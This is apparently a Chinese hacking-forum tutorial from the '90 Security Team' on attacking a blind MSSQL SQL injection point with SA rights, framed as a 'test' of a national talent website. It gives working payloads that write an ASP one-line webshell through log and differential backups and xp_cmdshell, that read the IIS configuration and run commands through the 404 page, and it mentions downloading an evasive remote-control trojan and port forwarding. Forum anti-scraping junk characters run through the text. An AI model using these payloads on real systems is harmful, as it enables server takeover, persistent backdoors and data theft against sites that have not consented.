sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

. |% T; |* G2 I  r& x
$ T4 ~4 D( k6 y- q3 _4 s! \/ J! k! s8 `                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

" Z, p* I4 U7 r! u$ ?                                                                 
7 b/ V1 V; d$ B8 V7 ~4 {# o2 ?# U                                                                 
4 `/ ~# X* ]8 {* L. V                                                                  论坛： http://www.90team.net/



友情检测国家人才网
$ c6 H& A+ ?) a/ _+ I! {. `

) t  g# R$ l5 s+ }* e! t4 s内容：MSSQL注入SA权限不显错模式下的入侵

; z- m  z9 _/ e5 U
; A& U" O  Z6 X/ i8 o+ T  ]! u9 }一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
8 t" J' A( w2 R0 R5 ~9 w
+ J9 R/ ^( E# L; W8 [- [我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。


3 Y3 O+ v8 o+ ]( l这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
8 q1 Z3 l, M$ k; w7 Q1 n6 {
思路：

; }5 e1 M7 F. q7 F首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。

1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。
3 t- Y. O; L, g
5.直接下载LCX将服务器端口转发出来

) M8 `9 [) b* z: Y6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
- P& G& P. l0 J# k" U


在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
8 e; c5 [1 n9 v
& ]' W" E( O5 ~1 f我直接演示后面一个方法

: V( C/ j, s' M8 E
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
; l9 u4 M0 }% C/ B
  U& V& v( f3 H/ B
+ q# V. P# z7 |! @5 N1 E

+ J& L) E! P' f/ g8 a  H◆日志备份：


6 G1 M& i) l0 J" b0 N8 h6 G1. 进行初始备份
) `' D8 b8 D$ _7 ~7 q; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
. c) M# J! G) ]/ C# |3 T- \6 L
1 Q. @* p) U9 q3 [; V2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
- x9 T5 l9 R% U, t( E, x
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
6 l, Q+ M; _2 }) |  e6 S. Z  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--


6 @: H3 g5 Z. j# {! m  Z2 N! m* [5 k
◆数据库差异备份
7 V7 f' n% R# X$ }
（1. 进行差异备份准备工作
2 L, c7 q2 b6 z
+ a# h. e, T4 w1 A8 {7 k* W7 b  B;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
0 b5 z0 ]# j' G& _+ m9 |4 i
! Z+ V- |6 W/ R/ {' i; A6 o上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
- A5 ]& y( F* D
7 Q( Y4 B1 }! q8 M% b0 |
（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

# G' g, G* Q% v: }0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
, D5 i9 \* r, \' Y8 u
3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

; n$ Z) [0 @1 L# R0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
3 Q" M" ]* E. I2 |
9 m1 X% w2 d- L( G5 ?
& `5 d5 D. T: ~8 D( _
用^转义字符来写ASP(一句话木马)文件的方法:   
9 p# [- M+ z0 K9 [5 n. u& G! ?  H2 E
! {6 a$ ?) s! K0 U, p, x4 [7 ~1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

* Z* X: ~8 ]' D; T) @2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
( g+ H" r$ Q# G- `8 N: }1 q
+ j  Y# p7 g1 P% Z0 \读取IIS配置信息获取web路径
9 z6 y! |" Q. A- s3 z/ z
, k8 h. O; T( ^9 g* T9 s7 J     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

7 k# R; D- k5 ?: \执行命令
" G( |$ T& f! h     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
! _( s+ C, ]/ I. g7 c: k8 g

9 |) F* T" f4 |: e8 H
$ c1 I- @; ]- [$ q- f+ x
4 v) P  i2 x( H0 `

  k# E# d. R9 l- `; N& @


# f* K6 p& {+ ~- G
0 \- }. c& T9 m3 C8 _
" b7 Y; Y$ [; ^- O. H

: q0 b( F3 U, x" I% T$ k
  A+ H' n7 ^) r2 B  y( o/ n
) |/ l% W7 }8 U4 e3 |
. W3 P9 L5 {+ ~& ^5 p





! |0 S5 @8 p; A/ W


, @; [4 \6 N. i& ~, K* W





5 l+ r: i+ Q) m* Q  P, E4 r+ M( U



) e% |5 k; Q2 H) s; J
: x  j% S4 M! w& i" R
* R6 v9 L1 [! Z1 w; B$ ?4 o
: I; K. N& f$ ?5 o2 S7 C& T+ T
" L3 x/ F1 s0 m

2 X3 _% E$ c! y* W- f1 R$ |
" L8 C, b! ^( i


3 N" S( e% T) U2 J
0 q# g) T" z* Z! i' C. h* v